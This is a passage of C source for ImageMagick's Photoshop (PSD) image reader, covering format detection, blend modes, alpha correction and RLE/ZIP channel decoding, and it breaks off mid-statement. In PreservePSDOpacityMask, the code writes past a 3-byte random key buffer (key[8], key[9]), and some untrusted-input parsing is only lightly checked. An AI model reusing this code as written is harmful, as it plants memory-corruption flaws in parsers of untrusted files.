/* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % PPPP SSSSS DDDD % % P P SS D D % % PPPP SSS D D % % P SS D D % % P SSSSS DDDD % % % % % % Read/Write Adobe Photoshop Image Format % % % % Software Design % % Cristy % % Leonard Rosenthol % % July 1992 % % Dirk Lemstra % % December 2013 % % % % % % Copyright 1999-2017 ImageMagick Studio LLC, a non-profit organization % % dedicated to making software imaging solutions freely available. % % % % You may not use this file except in compliance with the License. You may % % obtain a copy of the License at % % % % http://www.imagemagick.org/script/license.php % % % % Unless required by applicable law or agreed to in writing, software % % distributed under the License is distributed on an "AS IS" BASIS, % % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % % See the License for the specific language governing permissions and % % limitations under the License. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % */ /* Include declarations. */ #include "magick/studio.h" #include "magick/artifact.h" #include "magick/attribute.h" #include "magick/blob.h" #include "magick/blob-private.h" #include "magick/cache.h" #include "magick/channel.h" #include "magick/colormap.h" #include "magick/colormap-private.h" #include "magick/colorspace.h" #include "magick/colorspace-private.h" #include "magick/constitute.h" #include "magick/enhance.h" #include "magick/exception.h" #include "magick/exception-private.h" #include "magick/image.h" #include "magick/image-private.h" #include "magick/list.h" #include "magick/log.h" #include "magick/magick.h" #include "magick/memory_.h" #include "magick/module.h" #include "magick/monitor-private.h" #include "magick/option.h" #include "magick/pixel.h" #include "magick/pixel-accessor.h" #include "magick/profile.h" #include "magick/property.h" #include "magick/registry.h" #include "magick/quantum-private.h" #include "magick/static.h" #include "magick/string_.h" #include "magick/string-private.h" #include "magick/thread-private.h" #ifdef MAGICKCORE_ZLIB_DELEGATE #include <zlib.h> #endif #include "psd-private.h" /* Define declaractions. */ #define MaxPSDChannels 56 #define PSDQuantum(x) (((ssize_t) (x)+1) & -2) /* Enumerated declaractions. */ typedef enum { Raw = 0, RLE = 1, ZipWithoutPrediction = 2, ZipWithPrediction = 3 } PSDCompressionType; typedef enum { BitmapMode = 0, GrayscaleMode = 1, IndexedMode = 2, RGBMode = 3, CMYKMode = 4, MultichannelMode = 7, DuotoneMode = 8, LabMode = 9 } PSDImageType; /* Typedef declaractions. */ typedef struct _ChannelInfo { short int type; size_t size; } ChannelInfo; typedef struct _MaskInfo { Image *image; RectangleInfo page; unsigned char background, flags; } MaskInfo; typedef struct _LayerInfo { ChannelInfo channel_info[MaxPSDChannels]; char blendkey[4]; Image *image; MaskInfo mask; Quantum opacity; RectangleInfo page; size_t offset_x, offset_y; unsigned char clipping, flags, name[256], visible; unsigned short channels; StringInfo *info; } LayerInfo; /* Forward declarations. */ static MagickBooleanType WritePSDImage(const ImageInfo *,Image *); /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % I s P S D % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % IsPSD()() returns MagickTrue if the image format type, identified by the % magick string, is PSD. % % The format of the IsPSD method is: % % MagickBooleanType IsPSD(const unsigned char *magick,const size_t length) % % A description of each parameter follows: % % o magick: compare image format pattern against these bytes. % % o length: Specifies the length of the magick string. % */ static MagickBooleanType IsPSD(const unsigned char *magick,const size_t length) { if (length < 4) return(MagickFalse); if (LocaleNCompare((const char *) magick,"8BPS",4) == 0) return(MagickTrue); return(MagickFalse); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e a d P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % ReadPSDImage() reads an Adobe Photoshop image file and returns it. It % allocates the memory necessary for the new Image structure and returns a % pointer to the new image. % % The format of the ReadPSDImage method is: % % Image *ReadPSDImage(image_info,ExceptionInfo *exception) % % A description of each parameter follows: % % o image_info: the image info. % % o exception: return any errors or warnings in this structure. % */ static const char *CompositeOperatorToPSDBlendMode(CompositeOperator op) { const char *blend_mode; switch (op) { case ColorBurnCompositeOp: blend_mode = "idiv"; break; case ColorDodgeCompositeOp: blend_mode = "div "; break; case ColorizeCompositeOp: blend_mode = "colr"; break; case DarkenCompositeOp: blend_mode = "dark"; break; case DifferenceCompositeOp: blend_mode = "diff"; break; case DissolveCompositeOp: blend_mode = "diss"; break; case ExclusionCompositeOp: blend_mode = "smud"; break; case HardLightCompositeOp: blend_mode = "hLit"; break; case HardMixCompositeOp: blend_mode = "hMix"; break; case HueCompositeOp: blend_mode = "hue "; break; case LightenCompositeOp: blend_mode = "lite"; break; case LinearBurnCompositeOp: blend_mode = "lbrn"; break; case LinearDodgeCompositeOp:blend_mode = "lddg"; break; case LinearLightCompositeOp:blend_mode = "lLit"; break; case LuminizeCompositeOp: blend_mode = "lum "; break; case MultiplyCompositeOp: blend_mode = "mul "; break; case OverCompositeOp: blend_mode = "norm"; break; case OverlayCompositeOp: blend_mode = "over"; break; case PinLightCompositeOp: blend_mode = "pLit"; break; case SaturateCompositeOp: blend_mode = "sat "; break; case ScreenCompositeOp: blend_mode = "scrn"; break; case SoftLightCompositeOp: blend_mode = "sLit"; break; case VividLightCompositeOp: blend_mode = "vLit"; break; default: blend_mode = "norm"; break; } return(blend_mode); } /* For some reason Photoshop seems to blend semi-transparent pixels with white. This method reverts the blending. This can be disabled by setting the option 'psd:alpha-unblend' to off. */ static MagickBooleanType CorrectPSDAlphaBlend(const ImageInfo *image_info, Image *image, ExceptionInfo* exception) { const char *option; MagickBooleanType status; ssize_t y; if (image->matte == MagickFalse || image->colorspace != sRGBColorspace) return(MagickTrue); option=GetImageOption(image_info,"psd:alpha-unblend"); if (IsStringNotFalse(option) == MagickFalse) return(MagickTrue); status=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *magick_restrict q; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { double gamma; gamma=QuantumScale*GetPixelAlpha(q); if (gamma != 0.0 && gamma != 1.0) { SetPixelRed(q,(GetPixelRed(q)-((1.0-gamma)*QuantumRange))/gamma); SetPixelGreen(q,(GetPixelGreen(q)-((1.0-gamma)*QuantumRange))/gamma); SetPixelBlue(q,(GetPixelBlue(q)-((1.0-gamma)*QuantumRange))/gamma); } q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } return(status); } static inline CompressionType ConvertPSDCompression( PSDCompressionType compression) { switch (compression) { case RLE: return RLECompression; case ZipWithPrediction: case ZipWithoutPrediction: return ZipCompression; default: return NoCompression; } } static MagickBooleanType ApplyPSDLayerOpacity(Image *image,Quantum opacity, MagickBooleanType revert,ExceptionInfo *exception) { MagickBooleanType status; ssize_t y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " applying layer opacity %.20g", (double) opacity); if (opacity == QuantumRange) return(MagickTrue); image->matte=MagickTrue; status=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *magick_restrict q; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { if (revert == MagickFalse) SetPixelAlpha(q,(Quantum) (QuantumScale*(GetPixelAlpha(q)*opacity))); else if (opacity > 0) SetPixelAlpha(q,(Quantum) (QuantumRange*(GetPixelAlpha(q)/ (MagickRealType) opacity))); q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } return(status); } static MagickBooleanType ApplyPSDOpacityMask(Image *image,const Image *mask, Quantum background,MagickBooleanType revert,ExceptionInfo *exception) { Image *complete_mask; MagickBooleanType status; MagickPixelPacket color; ssize_t y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " applying opacity mask"); complete_mask=CloneImage(image,image->columns,image->rows,MagickTrue, exception); complete_mask->matte=MagickTrue; GetMagickPixelPacket(complete_mask,&color); color.red=background; SetImageColor(complete_mask,&color); status=CompositeImage(complete_mask,OverCompositeOp,mask, mask->page.x-image->page.x,mask->page.y-image->page.y); if (status == MagickFalse) { complete_mask=DestroyImage(complete_mask); return(status); } image->matte=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *magick_restrict q; register PixelPacket *p; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); p=GetAuthenticPixels(complete_mask,0,y,complete_mask->columns,1,exception); if ((q == (PixelPacket *) NULL) || (p == (PixelPacket *) NULL)) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { MagickRealType alpha, intensity; alpha=GetPixelAlpha(q); intensity=GetPixelIntensity(complete_mask,p); if (revert == MagickFalse) SetPixelAlpha(q,ClampToQuantum(intensity*(QuantumScale*alpha))); else if (intensity > 0) SetPixelAlpha(q,ClampToQuantum((alpha/intensity)*QuantumRange)); q++; p++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } complete_mask=DestroyImage(complete_mask); return(status); } static void PreservePSDOpacityMask(Image *image,LayerInfo* layer_info, ExceptionInfo *exception) { char *key; RandomInfo *random_info; StringInfo *key_info; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " preserving opacity mask"); random_info=AcquireRandomInfo(); key_info=GetRandomKey(random_info,2+1); key=(char *) GetStringInfoDatum(key_info); key[8]=layer_info->mask.background; key[9]='\0'; layer_info->mask.image->page.x+=layer_info->page.x; layer_info->mask.image->page.y+=layer_info->page.y; (void) SetImageRegistry(ImageRegistryType,(const char *) key, layer_info->mask.image,exception); (void) SetImageArtifact(layer_info->image,"psd:opacity-mask", (const char *) key); key_info=DestroyStringInfo(key_info); random_info=DestroyRandomInfo(random_info); } static ssize_t DecodePSDPixels(const size_t number_compact_pixels, const unsigned char *compact_pixels,const ssize_t depth, const size_t number_pixels,unsigned char *pixels) { #define CheckNumberCompactPixels \ if (packets == 0) \ return(i); \ packets-- #define CheckNumberPixels(count) \ if (((ssize_t) i + count) > (ssize_t) number_pixels) \ return(i); \ i+=count int pixel; register ssize_t i, j; size_t length; ssize_t packets; packets=(ssize_t) number_compact_pixels; for (i=0; (packets > 1) && (i < (ssize_t) number_pixels); ) { packets--; length=(size_t) (*compact_pixels++); if (length == 128) continue; if (length > 128) { length=256-length+1; CheckNumberCompactPixels; pixel=(*compact_pixels++); for (j=0; j < (ssize_t) length; j++) { switch (depth) { case 1: { CheckNumberPixels(8); *pixels++=(pixel >> 7) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 6) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 5) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 4) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 3) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 2) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 1) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 0) & 0x01 ? 0U : 255U; break; } case 2: { CheckNumberPixels(4); *pixels++=(unsigned char) ((pixel >> 6) & 0x03); *pixels++=(unsigned char) ((pixel >> 4) & 0x03); *pixels++=(unsigned char) ((pixel >> 2) & 0x03); *pixels++=(unsigned char) ((pixel & 0x03) & 0x03); break; } case 4: { CheckNumberPixels(2); *pixels++=(unsigned char) ((pixel >> 4) & 0xff); *pixels++=(unsigned char) ((pixel & 0x0f) & 0xff); break; } default: { CheckNumberPixels(1); *pixels++=(unsigned char) pixel; break; } } } continue; } length++; for (j=0; j < (ssize_t) length; j++) { CheckNumberCompactPixels; switch (depth) { case 1: { CheckNumberPixels(8); *pixels++=(*compact_pixels >> 7) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 6) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 5) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 4) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 3) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 2) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 1) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 0) & 0x01 ? 0U : 255U; break; } case 2: { CheckNumberPixels(4); *pixels++=(*compact_pixels >> 6) & 0x03; *pixels++=(*compact_pixels >> 4) & 0x03; *pixels++=(*compact_pixels >> 2) & 0x03; *pixels++=(*compact_pixels & 0x03) & 0x03; break; } case 4: { CheckNumberPixels(2); *pixels++=(*compact_pixels >> 4) & 0xff; *pixels++=(*compact_pixels & 0x0f) & 0xff; break; } default: { CheckNumberPixels(1); *pixels++=(*compact_pixels); break; } } compact_pixels++; } } return(i); } static inline LayerInfo *DestroyLayerInfo(LayerInfo *layer_info, const ssize_t number_layers) { ssize_t i; for (i=0; i<number_layers; i++) { if (layer_info[i].image != (Image *) NULL) layer_info[i].image=DestroyImage(layer_info[i].image); if (layer_info[i].mask.image != (Image *) NULL) layer_info[i].mask.image=DestroyImage(layer_info[i].mask.image); if (layer_info[i].info != (StringInfo *) NULL) layer_info[i].info=DestroyStringInfo(layer_info[i].info); } return (LayerInfo *) RelinquishMagickMemory(layer_info); } static inline size_t GetPSDPacketSize(Image *image) { if (image->storage_class == PseudoClass) { if (image->colors > 256) return(2); else if (image->depth > 8) return(2); } else if (image->depth > 8) return(2); return(1); } static inline MagickSizeType GetPSDSize(const PSDInfo *psd_info,Image *image) { if (psd_info->version == 1) return((MagickSizeType) ReadBlobLong(image)); return((MagickSizeType) ReadBlobLongLong(image)); } static inline size_t GetPSDRowSize(Image *image) { if (image->depth == 1) return(((image->columns+7)/8)*GetPSDPacketSize(image)); else return(image->columns*GetPSDPacketSize(image)); } static const char *ModeToString(PSDImageType type) { switch (type) { case BitmapMode: return "Bitmap"; case GrayscaleMode: return "Grayscale"; case IndexedMode: return "Indexed"; case RGBMode: return "RGB"; case CMYKMode: return "CMYK"; case MultichannelMode: return "Multichannel"; case DuotoneMode: return "Duotone"; case LabMode: return "L*A*B"; default: return "unknown"; } } static void ParseImageResourceBlocks(Image *image, const unsigned char *blocks,size_t length, MagickBooleanType *has_merged_image) { const unsigned char *p; StringInfo *profile; unsigned int count, long_sans; unsigned short id, short_sans; if (length < 16) return; profile=BlobToStringInfo((const void *) NULL,length); SetStringInfoDatum(profile,blocks); (void) SetImageProfile(image,"8bim",profile); profile=DestroyStringInfo(profile); for (p=blocks; (p >= blocks) && (p < (blocks+length-16)); ) { if (LocaleNCompare((const char *) p,"8BIM",4) != 0) break; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); if ((p+count) > (blocks+length-16)) return; switch (id) { case 0x03ed: { char value[MaxTextExtent]; unsigned short resolution; /* Resolution info. */ p=PushShortPixel(MSBEndian,p,&resolution); image->x_resolution=(double) resolution; (void) FormatLocaleString(value,MaxTextExtent,"%g", image->x_resolution); (void) SetImageProperty(image,"tiff:XResolution",value); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&resolution); image->y_resolution=(double) resolution; (void) FormatLocaleString(value,MaxTextExtent,"%g", image->y_resolution); (void) SetImageProperty(image,"tiff:YResolution",value); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); image->units=PixelsPerInchResolution; break; } case 0x0421: { if (*(p+4) == 0) *has_merged_image=MagickFalse; p+=count; break; } default: { p+=count; break; } } if ((count & 0x01) != 0) p++; } return; } static CompositeOperator PSDBlendModeToCompositeOperator(const char *mode) { if (mode == (const char *) NULL) return(OverCompositeOp); if (LocaleNCompare(mode,"norm",4) == 0) return(OverCompositeOp); if (LocaleNCompare(mode,"mul ",4) == 0) return(MultiplyCompositeOp); if (LocaleNCompare(mode,"diss",4) == 0) return(DissolveCompositeOp); if (LocaleNCompare(mode,"diff",4) == 0) return(DifferenceCompositeOp); if (LocaleNCompare(mode,"dark",4) == 0) return(DarkenCompositeOp); if (LocaleNCompare(mode,"lite",4) == 0) return(LightenCompositeOp); if (LocaleNCompare(mode,"hue ",4) == 0) return(HueCompositeOp); if (LocaleNCompare(mode,"sat ",4) == 0) return(SaturateCompositeOp); if (LocaleNCompare(mode,"colr",4) == 0) return(ColorizeCompositeOp); if (LocaleNCompare(mode,"lum ",4) == 0) return(LuminizeCompositeOp); if (LocaleNCompare(mode,"scrn",4) == 0) return(ScreenCompositeOp); if (LocaleNCompare(mode,"over",4) == 0) return(OverlayCompositeOp); if (LocaleNCompare(mode,"hLit",4) == 0) return(HardLightCompositeOp); if (LocaleNCompare(mode,"sLit",4) == 0) return(SoftLightCompositeOp); if (LocaleNCompare(mode,"smud",4) == 0) return(ExclusionCompositeOp); if (LocaleNCompare(mode,"div ",4) == 0) return(ColorDodgeCompositeOp); if (LocaleNCompare(mode,"idiv",4) == 0) return(ColorBurnCompositeOp); if (LocaleNCompare(mode,"lbrn",4) == 0) return(LinearBurnCompositeOp); if (LocaleNCompare(mode,"lddg",4) == 0) return(LinearDodgeCompositeOp); if (LocaleNCompare(mode,"lLit",4) == 0) return(LinearLightCompositeOp); if (LocaleNCompare(mode,"vLit",4) == 0) return(VividLightCompositeOp); if (LocaleNCompare(mode,"pLit",4) == 0) return(PinLightCompositeOp); if (LocaleNCompare(mode,"hMix",4) == 0) return(HardMixCompositeOp); return(OverCompositeOp); } static inline void ReversePSDString(Image *image,char *p,size_t length) { char *q; if (image->endian == MSBEndian) return; q=p+length; for(--q; p < q; ++p, --q) { *p = *p ^ *q, *q = *p ^ *q, *p = *p ^ *q; } } static inline void SetPSDPixel(Image *image,const size_t channels, const ssize_t type,const size_t packet_size,const Quantum pixel, PixelPacket *q,IndexPacket *indexes,ssize_t x) { if (image->storage_class == PseudoClass) { if (packet_size == 1) SetPixelIndex(indexes+x,ScaleQuantumToChar(pixel)); else SetPixelIndex(indexes+x,ScaleQuantumToShort(pixel)); SetPixelRGBO(q,image->colormap+(ssize_t) ConstrainColormapIndex(image,GetPixelIndex(indexes+x))); return; } switch (type) { case -1: { SetPixelAlpha(q,pixel); break; } case -2: case 0: { SetPixelRed(q,pixel); if (channels == 1 || type == -2) { SetPixelGreen(q,GetPixelRed(q)); SetPixelBlue(q,GetPixelRed(q)); } break; } case 1: { if (image->storage_class == PseudoClass) SetPixelAlpha(q,pixel); else SetPixelGreen(q,pixel); break; } case 2: { if (image->storage_class == PseudoClass) SetPixelAlpha(q,pixel); else SetPixelBlue(q,pixel); break; } case 3: { if (image->colorspace == CMYKColorspace) SetPixelIndex(indexes+x,pixel); else if (image->matte != MagickFalse) SetPixelAlpha(q,pixel); break; } case 4: { if ((IssRGBCompatibleColorspace(image->colorspace) != MagickFalse) && (channels > 3)) break; if (image->matte != MagickFalse) SetPixelAlpha(q,pixel); break; } } } static MagickBooleanType ReadPSDChannelPixels(Image *image,const size_t channels, const size_t row,const ssize_t type,const unsigned char *pixels, ExceptionInfo *exception) { Quantum pixel; register const unsigned char *p; register IndexPacket *indexes; register PixelPacket *q; register ssize_t x; size_t packet_size; unsigned short nibble; p=pixels; q=GetAuthenticPixels(image,0,row,image->columns,1,exception); if (q == (PixelPacket *) NULL) return MagickFalse; indexes=GetAuthenticIndexQueue(image); packet_size=GetPSDPacketSize(image); for (x=0; x < (ssize_t) image->columns; x++) { if (packet_size == 1) pixel=ScaleCharToQuantum(*p++); else { p=PushShortPixel(MSBEndian,p,&nibble); pixel=ScaleShortToQuantum(nibble); } if (image->depth > 1) { SetPSDPixel(image,channels,type,packet_size,pixel,q++,indexes,x); } else { ssize_t bit, number_bits; number_bits=image->columns-x; if (number_bits > 8) number_bits=8; for (bit=0; bit < number_bits; bit++) { SetPSDPixel(image,channels,type,packet_size,(((unsigned char) pixel) & (0x01 << (7-bit))) != 0 ? 0 : QuantumRange,q++,indexes,x++); } if (x != (ssize_t) image->columns) x--; continue; } } return(SyncAuthenticPixels(image,exception)); } static MagickBooleanType ReadPSDChannelRaw(Image *image,const size_t channels, const ssize_t type,ExceptionInfo *exception) { MagickBooleanType status; size_t count, row_size; ssize_t y; unsigned char *pixels; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is RAW"); row_size=GetPSDRowSize(image); pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); status=MagickTrue; for (y=0; y < (ssize_t) image->rows; y++) { status=MagickFalse; count=ReadBlob(image,row_size,pixels); if (count != row_size) break; status=ReadPSDChannelPixels(image,channels,y,type,pixels,exception); if (status == MagickFalse) break; } pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } static inline MagickOffsetType *ReadPSDRLESizes(Image *image, const PSDInfo *psd_info,const size_t size) { MagickOffsetType *sizes; ssize_t y; sizes=(MagickOffsetType *) AcquireQuantumMemory(size,sizeof(*sizes)); if(sizes != (MagickOffsetType *) NULL) { for (y=0; y < (ssize_t) size; y++) { if (psd_info->version == 1) sizes[y]=(MagickOffsetType) ReadBlobShort(image); else sizes[y]=(MagickOffsetType) ReadBlobLong(image); } } return sizes; } static MagickBooleanType ReadPSDChannelRLE(Image *image,const PSDInfo *psd_info, const ssize_t type,MagickOffsetType *sizes,ExceptionInfo *exception) { MagickBooleanType status; size_t length, row_size; ssize_t count, y; unsigned char *compact_pixels, *pixels; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is RLE compressed"); row_size=GetPSDRowSize(image); pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); length=0; for (y=0; y < (ssize_t) image->rows; y++) if ((MagickOffsetType) length < sizes[y]) length=(size_t) sizes[y]; compact_pixels=(unsigned char *) AcquireQuantumMemory(length,sizeof(*pixels)); if (compact_pixels == (unsigned char *) NULL) { pixels=(unsigned char *) RelinquishMagickMemory(pixels); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } (void) ResetMagickMemory(compact_pixels,0,length*sizeof(*compact_pixels)); status=MagickTrue; for (y=0; y < (ssize_t) image->rows; y++) { status=MagickFalse; count=ReadBlob(image,(size_t) sizes[y],compact_pixels); if (count != (ssize_t) sizes[y]) break; count=DecodePSDPixels((size_t) sizes[y],compact_pixels, (ssize_t) (image->depth == 1 ? 123456 : image->depth),row_size,pixels); if (count != (ssize_t) row_size) break; status=ReadPSDChannelPixels(image,psd_info->channels,y,type,pixels, exception); if (status == MagickFalse) break; } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } #ifdef MAGICKCORE_ZLIB_DELEGATE static MagickBooleanType ReadPSDChannelZip(Image *image,const size_t channels, const ssize_t type,const PSDCompressionType compression, const size_t compact_size,ExceptionInfo *exception) { MagickBooleanType status; register unsigned char *p; size_t count, length, packet_size, row_size; ssize_t y; unsigned char *compact_pixels, *pixels; z_stream stream; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is ZIP compressed"); compact_pixels=(unsigned char *) AcquireQuantumMemory(compact_size, sizeof(*compact_pixels)); if (compact_pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); packet_size=GetPSDPacketSize(image); row_size=image->columns*packet_size; count=image->rows*row_size; pixels=(unsigned char *) AcquireQuantumMemory(count,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) { compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } ResetMagickMemory(&stream,0,sizeof(stream)); stream.data_type=Z_BINARY; (void) ReadBlob(image,compact_size,compact_pixels); stream.next_in=(Bytef *)compact_pixels; stream.avail_in=(uInt) compact_size; stream.next_out=(Bytef *)pixels; stream.avail_out=(uInt) count; if (inflateInit(&stream) == Z_OK) { int ret; while (stream.avail_out > 0) { ret=inflate(&stream, Z_SYNC_FLUSH); if ((ret != Z_OK) && (ret != Z_STREAM_END)) { compact_pixels=(unsigned char *) RelinquishMagickMemory( compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(MagickFalse); } } } if (compression == ZipWithPrediction) { p=pixels; while (count > 0) { length=image->columns; while (--length) { if (packet_size == 2) { p[2]+=p[0]+((p[1]+p[3]) >> 8); p[3]+=p[1]; } else *(p+1)+=*p; p+=packet_size; } p+=packet_size; count-=row_size; } } status=MagickTrue; p=pixels; for (y=0; y < (ssize_t) image->rows; y++) { status=ReadPSDChannelPixels(image,channels,y,type,p,exception); if (status == MagickFalse) break; p+=row_size; } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } #endif static MagickBooleanType ReadPSDChannel(Image *image, const ImageInfo *image_info,const PSDInfo *psd_info,LayerInfo* layer_info, const size_t channel,const PSDCompressionType compression, ExceptionInfo *exception) { Image *channel_image, *mask; MagickOffsetType offset; MagickBooleanType status; channel_image=image; mask=(Image *) NULL; if (layer_info->channel_info[channel].type < -1) { const char *option; /* Ignore mask that is not a user supplied layer mask, if the mask is disabled or if the flags have unsupported values. */ option=GetImageOption(image_info,"psd:preserve-opacity-mask"); if ((layer_info->channel_info[channel].type != -2) || (layer_info->mask.flags > 2) || ((layer_info->mask.flags & 0x02) && (IsStringTrue(option) == MagickFalse))) { SeekBlob(image,layer_info->channel_info[channel].size-2,SEEK_CUR); return(MagickTrue); } mask=CloneImage(image,layer_info->mask.page.width, layer_info->mask.page.height,MagickFalse,exception); mask->matte=MagickFalse; channel_image=mask; } offset=TellBlob(image); status=MagickTrue; switch(compression) { case Raw: status=ReadPSDChannelRaw(channel_image,psd_info->channels, layer_info->channel_info[channel].type,exception); break; case RLE: { MagickOffsetType *sizes; sizes=ReadPSDRLESizes(channel_image,psd_info,channel_image->rows); if (sizes == (MagickOffsetType *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); status=ReadPSDChannelRLE(channel_image,psd_info, layer_info->channel_info[channel].type,sizes,exception); sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes); } break; case ZipWithPrediction: case ZipWithoutPrediction: #ifdef MAGICKCORE_ZLIB_DELEGATE status=ReadPSDChannelZip(channel_image,layer_info->channels, layer_info->channel_info[channel].type,compression, layer_info->channel_info[channel].size-2,exception); #else (void) ThrowMagickException(exception,GetMagickModule(), MissingDelegateWarning,"DelegateLibrarySupportNotBuiltIn", "'%s' (ZLIB)",image->filename); #endif break; default: (void) ThrowMagickException(exception,GetMagickModule(),TypeWarning, "CompressionNotSupported","'%.20g'",(double) compression); break; } SeekBlob(image,offset+layer_info->channel_info[channel].size-2,SEEK_SET); if (status == MagickFalse) { if (mask != (Image *) NULL) DestroyImage(mask); ThrowBinaryException(CoderError,"UnableToDecompressImage", image->filename); } layer_info->mask.image=mask; return(status); } static MagickBooleanType ReadPSDLayer(Image *image,const ImageInfo *image_info, const PSDInfo *psd_info,LayerInfo* layer_info,ExceptionInfo *exception) { char message[MaxTextExtent]; MagickBooleanType status; PSDCompressionType compression; ssize_t j; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " setting up new layer image"); if (psd_info->mode != IndexedMode) (void) SetImageBackgroundColor(layer_info->image); layer_info->image->compose=PSDBlendModeToCompositeOperator( layer_info->blendkey); if (layer_info->visible == MagickFalse) { layer_info->image->compose=NoCompositeOp; (void) SetImageArtifact(layer_info->image,"psd:layer.invisible","true"); } if (psd_info->mode == CMYKMode) SetImageColorspace(layer_info->image,CMYKColorspace); else if ((psd_info->mode == BitmapMode) || (psd_info->mode == DuotoneMode) || (psd_info->mode == GrayscaleMode)) SetImageColorspace(layer_info->image,GRAYColorspace); /* Set up some hidden attributes for folks that need them. */ (void) FormatLocaleString(message,MaxTextExtent,"%.20g", (double) layer_info->page.x); (void) SetImageArtifact(layer_info->image,"psd:layer.x",message); (void) FormatLocaleString(message,MaxTextExtent,"%.20g", (double) layer_info->page.y); (void) SetImageArtifact(layer_info->image,"psd:layer.y",message); (void) FormatLocaleString(message,MaxTextExtent,"%.20g",(double) layer_info->opacity); (void) SetImageArtifact(layer_info->image,"psd:layer.opacity",message); (void) SetImageProperty(layer_info->image,"label",(char *) 